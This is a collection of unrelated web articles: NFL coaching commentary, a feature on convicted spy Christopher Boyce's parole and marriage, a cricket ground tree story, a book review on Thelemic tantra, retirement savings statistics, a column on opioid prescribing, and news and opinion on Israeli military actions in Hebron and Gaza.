not shy about firing coaches, and new general manager Scot McCloughan didn't hire Gruden -- never a good thing for a coach. Whether he sticks with RGIII or moves to Kirk Cousins or Colt McCoy, Gruden must find a quarterback who can run his offense this year as he likely won't have another whirl if his spin fails in 2015.  McCloughan spent the offseason beefing up the trenches, so Gruden and his staff -- including new defensive coordinator Joe Barry -- must show progress in building a tough program. Gruden must also display that he's matured in his second year on the job, keeping some of the laundry from being aired publicly.  Most important, the Redskins must climb out of the cellar of the NFC East. A third straight year at the bottom will spell doom for Gruden's future. -- Kevin Patra  It's time for Tom Coughlin to win  At some point, Tom Coughlin is going to have to show again he can coach in the regular season. He has coached as many 10-win teams since 2009 as Brad Childress. The Giants don't want to ever fire Coughlin, but it's hard to imagine that he wouldn't have to retire if the Giants fail to produce a winning season. Re-hiring Steve Spagnuolo sounds like a good idea, but also sounds like a last gasp for an organization trying to recapture what made them great eight years ago. If Spags can't work his magic, Eli Manning will likely be playing for a new head coach in 2016 for the first time in his career. -- Gregg Rosenthal  Ken Whisenhunt's fate linked to Marcus Mariota  When you draft a hopeful franchise quarterback like Ken Whisenhunt just did, the clock immediately starts ticking. No, he will not be let go after one season if the Marcus Mariota experiment doesn't work out. But he will be under an incredibly powerful magnifying lens that can often alter the tenure of a head coach relatively new to the city.  If Mariota's first year is subpar, the offense will be blamed. Then the receivers, the line and the backs. The personnel department will take a hit for not surrounding Mariota with power spread players and, before you know it, everyone is clamoring for someone to come in that has experience with guys like Mariota. It's a doomsday scenario, of course, but one can bet Whisenhunt knew what he was getting himself into when he helped turn in the draft card. -- Conor Orr  Teflon Joe needs results  Sometimes I forget that Joe Philbin still has a job. Most coaches in the NFL get a pink slip if they can't crack the postseason in three seasons on the job, and yet there he is. Teflon Joe is a survivor. In 2015, he'll take the reins of a Dolphins team with real expectations after signing Ryan Tannehill to a fat new extension and handing Ndamukong Suh the most guaranteed money ever for a defensive free agent. The Dolphins should be competitive in an increasingly feisty AFC East, and Philbin is unlikely to continue to receive the benefit of the doubt if Miami again bobs at the .500 mark. -- Dan Hanzus  The latest Around The NFL Podcast features the triumphant return of Dan Hanzus and discusses the biggest mysteries heading into training camp.
-Christopher Boyce is a good sport. He's howling with laughter at the tiny snowman on the table just outside his front door, happy to indulge a visitor bent on shooting a photo of him with it and his falcon.  He eases into an outdoor chair, snow covering the lawn of his home in the high desert flats of central Oregon. The bird perches on his gloved hand. The snowman wears a tiny carrot nose.  Click.  The falcons and the snowman.  Wearing a sweatshirt in the sub-freezing weather, Boyce is the spy who'd just as soon come in from the cold. Nearly 40 years after he was caught selling U.S. secrets to the Soviet Union, he remains one of the most notorious figures in American espionage.  Christopher Boyce, who prefers to be called Chris, agreed to pose with his falcon "Higher Power" and a little snowman at his home in the high-desert flats of central Oregon.  Boyce stole U.S. satellite documents and other classified files from the California defense contractor TRW Inc. and sold them to Soviet spies. The KGB code-named him Falcon, a sobriquet that made him famous in a book (1979) and movie (1985) both titled, "The Falcon and the Snowman."  The tale of the Falcon soared again last year, when journalists drew parallels between Boyce and former NSA contractor Edward Snowden.  How the Falcon happened to land in snowy Terrebonne with the hero of his life – a woman we'll call the Surfer – is an epic love story.  ...  It began in the early 1980s, a time of big hair, big glasses and big ideas.  The Surfer, a paralegal living in San Diego, was intrigued by "The Falcon and the Snowman." She felt sorry for Boyce's co-defendant, Andrew Daulton Lee, characterized in Robert Lindsey's book as an unrepentant heroin dealer (the "Snowman"), a short, big-eared, acne-scarred young man soundly rejected by women.  She wrote Lee in hopes of helping him get out of prison early.  Lee and Boyce had grown up as best friends and altar boys on California's majestic Palos Verdes Peninsula. As young men in the mid-1970s, they took different career paths -- Boyce worked as a file clerk with top-secret clearance at TRW, and Lee sold drugs -- before throwing in together in the business of espionage in 1975.  Boyce, given access to CIA cables at TRW, was so enraged by the reach of U.S. surveillance that he fought back. He smuggled top-secret documents out of the TRW vault and passed them to Lee, who – between drug deals – couriered them to Mexico City and sold them to the KGB.  The government arrested Boyce and Lee in 1977 and tried them for espionage. Boyce got a 40-year prison term, and Lee got life. Both had the possibility for parole.  The Surfer made friends with Lee and Boyce through prison mail in the early 1980s. She offered Lee her paralegal services, free of charge, in hopes of helping him win early release.  Her first contact with Boyce was a pitch to help her with Lee's case, asking a series of questions about Lee's culpability in their crimes. Boyce responded with a friendly letter wishing his old friend well. But he told the Surfer he had nothing useful to offer.  Their correspondence continued, sparked by shared youths in Southern California, books, nature and critters. Soon they were pen pals. As the years piled up, they grew close. So close the Surfer hatched a plan to help Boyce win a parole date.  He was intrigued but fatalistic. His criminal record was a train wreck.  Two years after the government locked him up for espionage, Boyce broke out of a prison in Lompoc, Calif. He funded his 19-month run with a string of armed bank robberies, then got an additional 28 years tacked onto his sentence after he was caught in Port Angeles, Wash.  "I didn't think the government would ever turn me loose," he says. "Ever."  Still, he enjoyed flirting with the Surfer by U.S. mail. She sent a photo, showing a willowy 6-foot redhead with blue eyes, high cheekbones, and legs turned sinewy by long days carving up waves on her short board.  In the late 1980s, the Surfer – now married and deeply immersed in helping Lee – continued to write Boyce. But she was losing hope she could help him get out. In her mind, it would take a team of lawyers, not a solitary paralegal.  "What do you tell somebody? 'Yeah, someday I'll be able to fight for your release'? Well, I couldn't do that," she recalls. "I wasn't going to offer anybody hope like that. It wouldn't have been fair."  So she wrote him a kiss-off letter.  Boyce was stung but also felt a measure of relief. Now he had license to quit hoping for a miracle. It was easier to turn off the world outside the walls, put his head down and do his time.  ...  The Surfer wrote Boyce again in April 1995 to say Lee would be out by 1997. She asked: What about you?  She was now divorced, living at the beach in San Francisco, still a hard-charging paralegal. She told Boyce she wanted to go full bore to help him put together a winning parole packet.  Boyce played along.  "The more we corresponded and talked to each other on the phone, the more she started to share her life with me," Boyce says. "The things she did. Surfing. She was like my window to the world. I just started to feel closer and closer to her."  Boyce figured he'd probably lose his bid for release. But he was desperate to keep her in his life. He began to think of her as his girlfriend.  It's not uncommon for inmates to fall for a pen pal. But it was highly out of character for the Surfer. She began to question herself: "You're about to give up everything that you are to be in love with this guy that is a felon?"  The Falcon and the Surfer worked through much of 1996. They collected evidence of his good deeds and contrition to market him as a reformed man.  A key piece of evidence in Boyce's favor was his appearance before a Senate subcommittee trying to find ways to prevent espionage on U.S. soil. He testified in 1985, the so-called Year of the Spy, in which eight people – including the notorious Soviet mole John A. Walker Jr. – were caught.  "I only wish, Senators, that before more Americans take that irreversible step, they could know what I know, that they are bringing themselves heartaches more heavy than a mountain," Boyce told them.  What he didn't tell them is that he never felt like a traitor. He felt like a man who loved his country and mourned its loss of liberty. He hated what he thought of as the government's "surveillance state." So he had punished his nation by selling its secrets to its key Cold War enemy.  ...  On Oct. 19, 1996, the Surfer's doctor delivered terrible news. She had an invasive form of breast cancer, lobular carcinoma. She underwent a radical mastectomy but declined chemotherapy.  "I knew if I did chemo, I wouldn't be able to put together Chris' parole packet," she says. "He was counting on me, and I was not going to deny him."  The Surfer submitted Boyce's request for parole in February 1997.  On March 24, 1997, a parole examiner took Boyce's testimony inside the walls of a maximum-security prison in Oak Park Heights, Minn. He soon recommended that Boyce be released after five more years.  The U.S. Parole Commission turned him down that April and set his next parole hearing for 2012. He would be 59.  The next month, the Surfer flew to Minnesota. She had laid eyes on Boyce just once before, from the gallery of a Seattle courtroom just after his 1981 recapture. She remembered his good looks and now would see how the years had treated him.  A corrections officer gave Boyce an interview room for a professional visit with his paralegal. When they met, he grabbed her and kissed her hard. The Surfer kissed him back.  "I don't think you're supposed to kiss your legal help," the officer said.  She visited five days in a row, then cried much of the way home.  The following month, the Surfer filed Boyce's appeal.  On Sept. 25, 1997, Boyce called her at home in San Francisco. He made small talk, asked about the surfing, the weather, her dogs. Then, as if an afterthought, he mentioned he had gotten a letter from the Parole Commission.  The Surfer launched a fusillade.  "We're gonna fight this," she told him. "In 24 months, we'll do the whole thing over again."  Boyce waited until she exhausted her venom. He read her the final line of the letter. He'd be out in 4½ years.  She had done it.  Boyce heard her voice seize. She was blubbering. A line of men stood behind Boyce at the bank of phones, and he did his best to hide the tears burning down his cheeks.  "I was no longer dead," he says. "There was reason to go on."  ...  Boyce served his final two years at the government's medium-security prison in Sheridan.  On Sept. 16, 2002, his keepers cut him loose and ordered him to report that night at a halfway house in San Francisco for the last months of his sentence.  His parents drove down from their home in Washington's Gig Harbor and picked him up at the flagpole in front of the prison. Boyce remembers hugging his dad hard. His betrayals had deeply wounded the old man, a former FBI agent whose connections got him the job at TRW.  Boyce remembers the drive to the Portland airport. The sky was gray, and they passed fields of green and gold.  "I got complete sensory overload," he says. "I'm talking to my dad. I'm his son again after 25 years."  The Surfer was waiting for him at San Francisco International Airport. Boyce came down the ramp all by himself, and they kissed like teenagers.  As they strolled together toward her Ford Explorer, she noticed him craning his neck.  "Are you checking out my butt?"  "Well, yeah," he said.  ...  The Surfer's real name was Kathleen Mills, but Boyce called her Cait.  They were married Oct. 12, 2002, by a certified minister wearing Spock ears for a Star Trek convention. A week later, they made it public in a ceremony in the Redwoods. Cait Boyce wore a Vera Wang dress she found on sale. Chris' entire family came. It marked the first time they had all been together since his arrest.  Cait's cancer recurred twice, but she kept powering through life. She surfed and took long runs at Golden Gate Park. She loved her home, her friends and the city's world-famous restaurants.  But California felt like a haunted place to Chris, where the ghost of his youth spied for the Soviets and busted out of Lompoc. As a man old enough to be his ghost's father, he found he still needed solitude. And falcons.  The snowman and the falcon outside the front door of Christopher and Cait Boyce's home in Terrebonne, Oregon.  The Surfer understood. In 2004, they bought a home in Terrebonne, a town that straddles U.S. 97 on the sagebrush flats north of Redmond. Boyce took a job at a local airstrip.  Cait's cancer returned. She suffered through radiation treatments five days a week and took medication that made her bones ache. Chris made them dinner every night and feigned good cheer but took long walks in the woods, petrified he might lose her.  In 2012, Cait's cancer went into remission.  She and Chris teamed up with Utah writer Vince Font on their book: "American Sons: The Untold Story of the Falcon and the Snowman." The Boyces found the process a staggering purge of crime and punishment, old wounds and sickness, hate and recriminations.  In the end, they were left with love and each other.  "I don't know anyone whose wife saved his life like Cait saved mine," Boyce says. "That has always been the greatest demonstration of love that anyone has ever given me in my life. Cait gave me my life back."  -- Bryan Denson
-Chris Cowdrey stands next to the new tree at Tuesday's ceremony  The tree stood just inside the boundary at the St Lawrence Ground in Canterbury and became a famous landmark.  The new one would have been planted by club president Brian Luckhurst, but he died from cancer on 1 March.  Former Kent and England skipper Chris Cowdrey said the ceremony would go ahead as "Lucky would have wanted it".  He added: "The show must go on... we'll try and make it a celebration rather than a sad occasion."  At the ceremony Mr Cowdrey read a poem called Farewell the St Lawrence Lime which was written by a Kent fan shortly after he heard the news of its demise.  Inevitable  A tree planted by the club in 1999 outside the boundary ropes was simply moved to the site of the old tree.  It had been planted because the club knew that one day the inevitable would come and the original would have to be replaced.  Mr Cowdrey said he had originally hoped the club would raise enough money for a full-sized tree to be planted instead.  The ground opened in 1847, built around the lime tree. When it was hit by a ball, the batting side scored four runs.  The club knew the tree, which stood more than 100ft tall at its peak, was in ill health in the late 1990s and had it pollarded to encourage growth.
-I told my SS about my love of books my dogs and coffee. And SS delivered! My pups have already eaten some of their new cookies and the are so happy about them. Next I got a pocket reading journal which is great because I try to keep track of when I finish books and I usually forget or I forget what the last book i read was about. Next and my husband is most excited for this, the toilet coffee mug. He immediately filled it up to use it. Finally was a mini coloring cards with blessings on them. My partner and I color at work all the time to pass time on night shift so it will be nice to color meaningful things to hang up.
-The Magickal Union of East and West: The Spiritual Path to New Aeon Tantra, by Gregory Peters  Llewellyn Worldwide, 9780738740447, 177 pp. (incl. appendices, glossary, and index), 2014  Gregory Peters was a student of Phyllis Seckler (Soror Meral), and New Aeon Tantra, a system which merges Aleister Crowley‘s Thelema with Buddhism and tantra, was developed for the Ordo Sunyata Vajra, an order Peters founded in 1999.  Though the practices Peters outlines in The Magickal Union of East and West rely on a Thelemic framework, he clearly states that they are not tied to Thelema, and may be used by other practitioners. That said, this is not an introductory text — a background in ceremonial magick is assumed, and even a passing familiarity with eastern systems would go a long way.  Many of the introductory practices follow a typical yogic regimen: hatha yoga, surya namascar, lunar adorations, as well as selecting a goddess to work with. (Though Peters doesn’t go into detail about how one should either choose a goddess, or find a goddess who would choose the practitioner; in place he offers a brief list of popular goddesses and their mantras.) Peters’ notes on dietary considerations are refreshingly forgiving, as they allow the practitioner to discover and use a dietary model that best suits their body’s needs, rather than proscribe constraints. Perhaps this is in light of the axiom from The Book of the Law, which states that the word of sin is restriction.  On the Thelemic side, rites are given for Thelemic Refuge, a method of protection and psychic armour, invoking Nuit and Hadit, along with a wonderfully lucid introduction to Thelema and its specialized terminology, such as the aeons, true will, and agape. Peters delves into Aleister Crowley’s influences and earlier models, such as Francois Rabelais and Saint Augustine of Hippo, and acknowledges that Thelema transcends Crowley, suggesting that “eventually something will come along to replace Thelema,” and notes that “gnosis is not static, not locked into a particular model from history.”  In the meantime, Peters uses Liber al vel Legis as a central text, quoting liberally from it, and actually works to make sense of it, demonstrating how it fits into his philosophy of New Aeon Tantra, such as with the three root vows, which will already be familiar to any Thelemite: Do what thou wilt shall be the whole of the Law; Love is the law, love under will; and To Me.  Peters’ description of the practical work involved in New Aeon Tantra is well grounded, and he links tantric tools with their ceremonial counterparts, though he does assume a working knowledge of kabbalah and Crowley’s Thoth Tarot. There are numerous rites and dedications: the Lantern of Thebes, a middle pillar rite; the Vajra Tower, a ritual of purification, consecration and connection to the higher self; the Midnight Sun, a rite of energization, invocation; and a myriad of others that serve to deepen one’s practice.  All of these practices serve as preparation leading towards the Diamond Sapphire Gem of Radiant Light, the central rite of New Aeon Tantra, and the primary outer rite of the Ordo Sunyata Vajra. This final rite is intended for groups, but can be modified for solitary use, and is deemed suitable for practitioners of any skill or experience, though those with some grounding in ritual practice will likely benefit more from it.  Although the Diamond Sapphire rite is informed by Thelema, unlike the Ordo Templi Orientis‘ Gnostic Mass, this rite has no set roles based on gender or sexual orientation. That said, it does assume a “male-female polarity,” which may be uncomfortable for some practitioners.  There are a few other cultural biases that jar, such as Peters’ description of zen as a “mutation” of ch’an, while Thelema is described as “an advanced synthesis and evolution of what came before it.” It may also be worth pointing out that, of course, Thelema is not actually “stripped of all non-essentials and cultural trappings,” as described. Rather it appropriates and “mutates” ancient Egyptian mythologies, among others, in building its pantheon.  Despite these caveats, Gregory Peters has done a remarkable job in synthesizing a new tantric model that’s easy to understand and work with, and The Magickal Union of East and West is a wonderful addition to the growing body of literature on Thelemic tantra. The essential reading list and list of further reading will be helpful to those wanting to learn more about the system and its roots.  Image credit: peaceful jp scenery  Footnotes:
-It has been brought to the mods attention that ableist language is a problem in this forum. Hopefully this will inform everyone and clear some things up.  What is Ableism?  For those who are uniformed, what is Ableism? Lets first find that handy dictionary:  [< ABLE adj. + -ISM suffix, after RACISM n., SEXISM n.2, etc. Compare ABLEIST adj., and also earlier ABLED adj. 2, ABLED n.] orig. U.S. Discrimination in favour of able-bodied people; prejudice against or disregard of the needs of disabled people.  "I'm not in favor of that!" You might say, but lets remember that speech is an action that can either be used to oppress or liberate. It is easy to forget that when we speak, we act. Using words like "crazy" to refer to something bad implies that having that disability is a mistake or failing, rather than an uncontrollable factor (Can you control your race? Same idea).  Examples  Lets look at some examples:  First,  Those Capitalists, they are so crazy!  By using the word "Crazy" to refer to groups that the user disagrees with, it is implied (whether he/she knows it or not) that being "crazy" (mentally disabled) is bad.  Second,  This thread is so lame!  You might not know it, but some words that are in the modern vernacular are ableist. In this example, lame is used. "Lame" is used to refer to people with mobility disabilities. Here, the user is using "lame" to describe the inferior quality of the thread, and implies that "lame" people carry similar qualities.  What Can I do to stop this/what other words can I use?  First, you need to know which words are ableist, and which are not. Once you have that figured out, then you need to stop using Ableist speech, and urge others to stop using it as well. Moderators will be paying attention to Ableist language and banning it from now on.  It might be hard to discern which words are ableist, and which are not, but there are many resources available on the internet:  Here are some of my favorites:  Asinine Insipid Vapid confused mislead uniformed the eye of satan's butthole  Starmeleon approved:  Starmeleon has been informed that these may be ableist, so they are now cancelled. Please alert the moderators to any other ableist speech. fool obtuse  Again: Moderators have been alerted to this issue, and will be sure to ban ableist speech in the future, as it is oppressive (and against the rules).  Don't fuck this up or else we'll switch to newspeak.
-America may have recovered handily from the Great Recession, and the bull market may now be five years old, but in no way should America think that it is remotely immune or even insulated from the next economic shock. It remains a fact that Americans just have too small a nest egg in savings — many with little or no savings and investments whatsoever.  A report from the Employee Benefit Research Institute (EBRI), which is collected on employees who participate or have the option to participate in retirement plans, says they just are not doing enough. Many metrics of the population as a whole have improved, but a whopping 36% of workers said they have less than $1,000 in savings. That figure was 28% in 2013.  To show how there is a huge split, the title of the EBRI’s 2014 Retirement Confidence Survey is even “Confidence Rebounds — for Those With Retirement Plans.”  It turns out that if a worker or his or her spouse have no retirement plan — an IRA, 401(k) or the like — then they are at an exponentially higher risk of falling into the no-savings category. That would be 73%, likely versus only 11% if they did have a retirement program.  The EBRI further went on to show that of the households with less than $35,000 income per year, some 68% have savings of less than $1,000.  Here is where the real shocker is: even further up the scale. Of all participants who have saved for retirement, some 38% of workers in a plan reported having savings of less than $25,000.  Some additional factoids are as follows:  Some 58% of workers and 44% of retirees report having a problem with their level of debt.  Overall retirement confidence is atrocious, even after improving: 18% are now very confident, up from 13% in 2013; 37% are somewhat confident; and 24% are not at all confident, versus 28% in 2013.  Here is why retirement planning (and savings) is so important: 90% of workers participating in a retirement plan had saved for retirement, while only one in five workers without a retirement plan managed to save for retirement.  The reason for not saving is universally cited, with 53% of workers citing this: the cost of living and day-to-day expenses.  So if the majority in the lower income brackets have less than $1,000 in savings, what will happen to them in the next recession or economic shock?
-The Cape ground squirrel takes sex very seriously. For the males, the scrotum is about 20% of their body length, and the penis is twice as long; if you don’t believe me, this particular image will probably change your mind – but be warned ! It will be burned onto your brain for quite a while.  Thing is, if you’re a male squirrel, you obviously want to make as many little squirrels as you can, so if you want to maximize your chances, you have to make sure it’s your sperm that fertilizes the female eggs (because we all know just how easy female squirrels are). So you make a whole lot of sperm – hence the big… testicles. But if their sperm is so valuable, why would they waste it by choking the chicken masturbating ? And even more interesting, how does a squirrel masturbate ? I’ll let Jane Waterman, an expert (in squirrels, not the other thing), tell you about it:  “An oral masturbation was recorded when a male sat with head lowered and an erect penis in his mouth, being stimulated with both mouth (fellatio) and forepaws (masturbation), while the lower torso moved forward and backwards in thrusting motions, finally culminating in an apparent ejaculation, after which the male appeared to consume the ejaculate.”  In case you didn’t know, lots of mammals masturbate, including primates and rodents. In every case the question remains – why waste the sperm ? The obvious answer is the classic one: males are horny, females aren’t. But there are alternate theories that spark particular interest; one of them suggests that maybe they flush out old sperm to make way for better and faster… cadets. But Waterman has another idea, at least when it comes to Cape ground squirrels; and she should know, after spending two thousand hours spying on them with a pair of binoculars and noting every sexual interaction between them.  Her notes suggest that squirrels masturbate more often when the females are in the mating period, and that dominant ones do it more often than subordinates (now that’s something). What’s even more surprising, those who have had sex do it more often than the unlucky ones; and they do it after sex, which rules out the ‘sperm cleansing’ theory, in which they would do it before. So she concluded that masturbating can’t actually be some sort of signal, it had to be something else.  The conclusion she came to ? It’s an act of self medication. They do it to clean their genitals and thus lower the risk of a sexually transmitted infection. It explains (read this in a crazy scientist voice) EVERYTHING ! They could do it by urinating, but since they live in desert areas, it’s pretty hard to lose water just like that, so masturbating is the next best thing. Now that’s something to ponder while reading squirrel stories to your kid.  Pictures 1 2  Enjoyed this article? Join 40,000+ subscribers to the ZME Science newsletter. Subscribe now!
-With “Pitch Perfect 2,” Ms. Kendrick may add another accomplishment to her résumé. The PG-13 sequel, which finds the misfit Barden Bellas squaring off against a German a cappella group called Das Sound Machine, represents the first time Ms. Kendrick has anchored a summer blockbuster. Based on the enormous response to “Pitch Perfect,” which took in $113 million worldwide during the fall of 2012, spawned a hit soundtrack and became a sensation on DVD, Universal Pictures dropped the sequel into the May major leagues.  To compete with behemoths like “Avengers: Age of Ultron” and “Mad Max: Fury Road,” “Pitch Perfect 2” dials up the razzmatazz in the weird world of college a cappella competitions — an activity, as the movie puts it, “for girls all over the country too ugly to be cheerleaders.” This time, the plot turns on a catastrophic wardrobe malfunction suffered by a Barden Bella known as Fat Amy (Rebel Wilson). Barred from competing in the United States, the group tries to redeem itself overseas.  But “Pitch Perfect 2” — part “Animal House” with women, part “Glee” goes to college, part “Bring It On” — was not an idea that immediately thrilled Ms. Kendrick. She started thinking about critical washouts like “Miss Congeniality 2: Armed and Fabulous” and “Charlie’s Angels: Full Throttle” and “getting understandably nervous because comedy sequels are really hard to pull off,” she said.  In the end, Ms. Kendrick agreed to reprise Beca, a coolheaded Bellas member who functions as a counter to the ribald high jinks of Fat Amy and crew. The acting challenge was to avoid succumbing to the inevitable bloat of a sequel or what Ms. Kendrick described as “punch-drunk, banana-town land.”  “The machinery was so much more present on the second one,” Ms. Kendrick said. “There’s worrying over product placement and how many deluxe-edition albums are we going to be able to pull out of this one and heightened choreography.” The sequel, which was directed by Elizabeth Banks and has a rather loose definition of a cappella, ahem, cost roughly $29 million to make, about 70 percent more than the original.  Ms. Kendrick said she had relied on the director of the first movie, Jason Moore, and the screenwriter of both films, Kay Cannon, to remain grounded. “I would email Jason and Kay before certain scenes and just get words of wisdom or a little mantra from Kay,” Ms. Kendrick said. “Sometimes it was just great to be reminded by Kay that the Bellas are supposed to be people trying to find their place.”
-Legions of Benedict Cumberbatch fans will be delighted with the news that filming has just got under way for the fourth Sherlock Holmes series. Feature- length episodes are due to hit our screens in the autumn.  With a modern rather than a Victorian setting, the writers had to decide how to tackle the issue of Holmes’s addiction to cocaine and opium when the series began. Steven Moffat said: “I think you’d have to ask the question would a man like Sherlock Holmes be a coke addict today? In Victorian times everybody was taking some kind of drug, largely because there was no such thing as a painkiller. It is a very different thing to say that Sherlock Holmes is a coke addict now.”  It’s an interesting perspective. There has been an explosion in opiate prescribing, especially in North America. US opioid sales quadrupled between 1999 and 2010. This was in part a response to undertreatment of patients receiving palliative care and those with acute pain. However, opioid therapy for chronic musculoskeletal pain, including back pain, also grew substantially and disproportionately. And as US opioid sales quadrupled, admissions to substance misuse treatment programmes and opioid- related overdose deaths also increased fourfold.  Opiate prescribing dates back to Sir Thomas Sydenham, who, in the 1660s, promoted laudanum, a tincture of opium and alcohol. Sir William Osler, a famously cautious prescriber, called it “God’s own medicine”. For the first time doctors had access to a reliable painkiller, a sedative and, because of its tendency to constipate, a useful treatment for diarrhoea.  People bought opiates in much the same way as they buy paracetamol today: patented formulations such as Dover’s powder were kept in the kitchen cupboard. Godfrey’s Cordial or Street’s Infants’ Quietness not only reduced colic in infants but made it easier to sedate children. The intoxicant effects of opium were also appreciated – brewers added it to their products.  Opiates are compounds found naturally in the opium poppy plant Papaver somniferum. Heroin is perhaps the most famous opiate, but there are numerous derivatives including methadone, oxycodone and fentanyl.  Some experts rank heroin as the most addictive drug. It causes the level of dopamine in the brain’s reward system to increase by up to 200 per cent. In addition to being arguably the most addictive drug, heroin is dangerous, too, because the dose that can cause death is only five times greater than the dose required to experience a high.  By 2010, deaths related to prescription opioid overdose had reached 16,500 a year in the US, far exceeding deaths from cocaine or heroin. Deaths from prescription opioids have also increased in the UK. The Centres for Disease Control (CDC) reckon as many as one in four people receiving prescription opioids in a primary-care setting struggles with addiction.  Earlier this year the CDC issued a formal warning to doctors about opiate prescribing. Acknowledging the important role of opiates in relieving suffering for patients with active cancer or others in hospice or palliative care, it noted that “studies are not available to indicate whether opioids control chronic pain well when used long-term”.  In addition to the serious risks of addiction and overdose, the use of prescription opioids can have a number of side effects, even when taken as directed. These include: physical dependence (ie symptoms of withdrawal when the medication is stopped); increased sensitivity to pain; vomiting; drowsiness; itching and sweating; and depression.  No one likes being in chronic pain for months or more. But before you move to a prescribed opiate for non- malignant pain it’s important to discuss with your doctor all pain treatment options. Be open about past or current drug and alcohol use. And have a detailed discussion about the risks and benefits of taking prescription opioids.  Correction: In Medical Matters, April 19th, the title of Viktor Frankl’s book should have read “Man’s Search for Meaning”
-HEBRON (Ma'an) -- Israeli forces shot and killed a Palestinian teenager in the Hebron district on Wednesday, security and medical sources said.  The sources said the 15-year-old was attempting to cross Israel's separation wall near the southernmost West Bank area of al-Ramadin when Israeli forces shot him dead.  Israeli troops gave him no warning before shooting him, the sources said.  The youth was identified as Yousef Nayif Yousef Shawamrah Abu Akar from the village of Deir al-Asal al-Fauqa south of Hebron.  Israeli forces have yet to deliver his body.  Witnesses said the victim had been foraging for local plants when he was shot, but the army claimed he and two others had been vandalising the security fence.  "Three suspects sabotaged the security fence in Deir al-Asal Atachta, and soldiers at the scene called them to distance themselves and fired warning shots in the air," an Israeli army spokeswoman said.  "After all efforts were exhausted the soldiers fired at the main instigators' lower extremities and a hit was identified."  The victim was evacuated to an Israeli hospital, where he died from his wounds.  But the victim's brother, Abed Shawamreh, 23, denied the army's account and said the teenager had been out looking for gundelia, a thistle-type plant used in cooking.  "Every year, people from the village go out to pick gundelia. Today Yussef went with his friends to pick some in an area close to the wall and the army shot at them. They hit him and arrested two of his friends," he told AFP.
-Israel’s ‘no-go zone’ – created by scorched-earth shelling that has leveled entire neighborhoods – has shrunk Gaza nearly by half.  A colleague in Gaza City’s Tal el Hawa neighborhood reported before dawn this morning that Israeli tank shells were falling all around the apartment building where he and his wife were hunkered in a hallway, contemplating where they could flee come sunrise. Between them and the Mediterranean sea to their west are fewer kilometers than those separating them from Shejaeiya to the east, where days earlier, Israeli tanks had reduced entire neighborhoods to rubble.  “They’re doing to us like they did to Shejaeiya,” my colleague said. Although the sun has barely risen in Gaza and the damage not yet fully surveyed, by all accounts, last night’s bombardment was the fiercest yet in central Gaza—and this time it came from tanks, too.  I strain to grasp the tactic. Hadn’t Benjamin Netanyahu, just hours earlier, forecast further violence by vowing to destroy Hamas tunnels? Never mind that the tunnels had only recently figured into his rationale for what Germany’s largest-circulation daily, Sueddeutsche Seitung, called the “Gaza-krieg.” If “destroying tunnels” was Netanyahu’s casus belli, what on earth were Israeli tanks doing so close to Gaza City, in the heart of the Strip?  And are the tanks there to stay?  As Israel stepped up its shelling of northern and eastern Gaza earlier on Monday, the first day of the Muslim feast marking the end of Ramadan, Netanyahu’s military endgame began to look a lot like what Palestinians feared most – a return to the status quo. Only this time, with the shelling reaching central Gaza, the picture looks far more bleak.  A map published Thursday by the UN Office for the Coordination of Humanitarian Affairs paints the picture, offering a striking visual of what may be Gaza’s new de facto “border.” The map shows an Israeli-imposed “no-go zone” extending three kilometers into the Strip from its northern to southern tips—an area representing 44 percent of Gaza’s total land mass and within which, presumably, Israeli tanks unleashed hell upon Gaza City last night.  If past is precedent, that expanded area will be a virtual shooting gallery for Israeli soldiers long after the present military maneuvers end, and only Palestinians willing to risk life and limb will dare enter. Just ask residents of the eastern and northern Gaza districts abutting Israel. Long before their homes were devastated by shelling, they understood just how lethal their enforced penury was. In the so-called “buffer zone,” which officially extended only 300 meters into Gaza, human rights organizations had documented Israeli snipers firing at Palestinian civilians up to 1.5 kilometers from the border with Israel.  With Israeli troops now enforcing their “no-go” policy in an area twice as deep, Palestinian civilians beyond that zone face a similar and persistent threat, as evidenced last night. In fact, as the OCHA map shows, Palestinians living in the northern three-quarters of Gaza may all be within shooting distance of Israeli snipers. That is certainly the case in Gaza City, where thousands of displaced Palestinian families have sought shelter. UN spokesperson Chris Gunness said yesterday that more than 170,000 Palestinians—or nearly 10 percent of Gaza’s population—were seeking shelter at facilities run by the UN Relief and Works Agency.  Making matters worse, the Israeli military later in the day issued fresh evacuation orders to residents of northern Gaza, raising fears that attacks there would escalate to levels that saw entire neighborhoods leveled in Beit Hanoun and Shejaeiya. And even as more people fled toward Gaza’s center, the military dropped a new flyer on Gaza City, listing names of alleged Hamas members killed by airstrikes and asking, tauntingly, “In your opinion, whose name will be written in the coming publication?” (Palestinian journalist Lara Aburamadan displayed the flyer on Twitter).  Click here for +972′s full coverage of the war in Gaza  The threat came as news broke of yet another attack on a medical facility—this time also in the heart of Gaza City. As NBC’s Ayman Mohyeldin reported, the attack struck an outpatient clinic of Gaza’s main hospital, Al Shifa, at around the same time that 10 people, including children playing outside, were killed by an Israeli airstrike on the Shati refugee camp.  The attacks show no sign of abating. Within hours of the Shati attack, Netanyahu called for Hamas to be demilitarized and said that Israel would continue targeting tunnels along its border with Gaza. But with that “border” now nearly halving Gaza’s territory and hundreds of thousands of Palestinians forced to cram into central Gaza areas still under bombardment, Netanyahu is clearly targeting far more than tunnels. In fact, his actions are drawing Israel ever farther from a compromise, and it’s hard to imagine Hamas acceding to a ceasefire under these conditions.  Indeed, the group has vowed to continue fighting until Israeli troops leave Gaza and displaced residents return home. That, too, seems like a distant prospect: Even if a ceasefire deal allowed displaced Palestinians to return to northern Gaza, it’s unlikely they would be able to stay there unless the ongoing Israeli embargo is lifted—a key Hamas demand—and they are allowed to rebuild.  All of which brings us back to a lesson John Kerry has already learned: Palestinians in Gaza are fed up with the status quo, and at this point—after bearing the blows of three full-scale Israeli assaults in five years—they have little left to fear. This much is for certain: if the bombing ends tomorrow but the so-called buffer zone remains, Gaza’s resistance will continue. The only question is whether the world will pay attention when today’s massacres become tomorrow’s one-off murders again. If it doesn’t, we can be sure that the massacres will return again soon.  In the meantime, the killing continues.  Related:  Why did Israel reject Kerry’s ceasefire proposal?  Five Israeli soldiers killed in Gaza; Palestinian death toll hits 1,088  Protective Edge: The disengagement undone
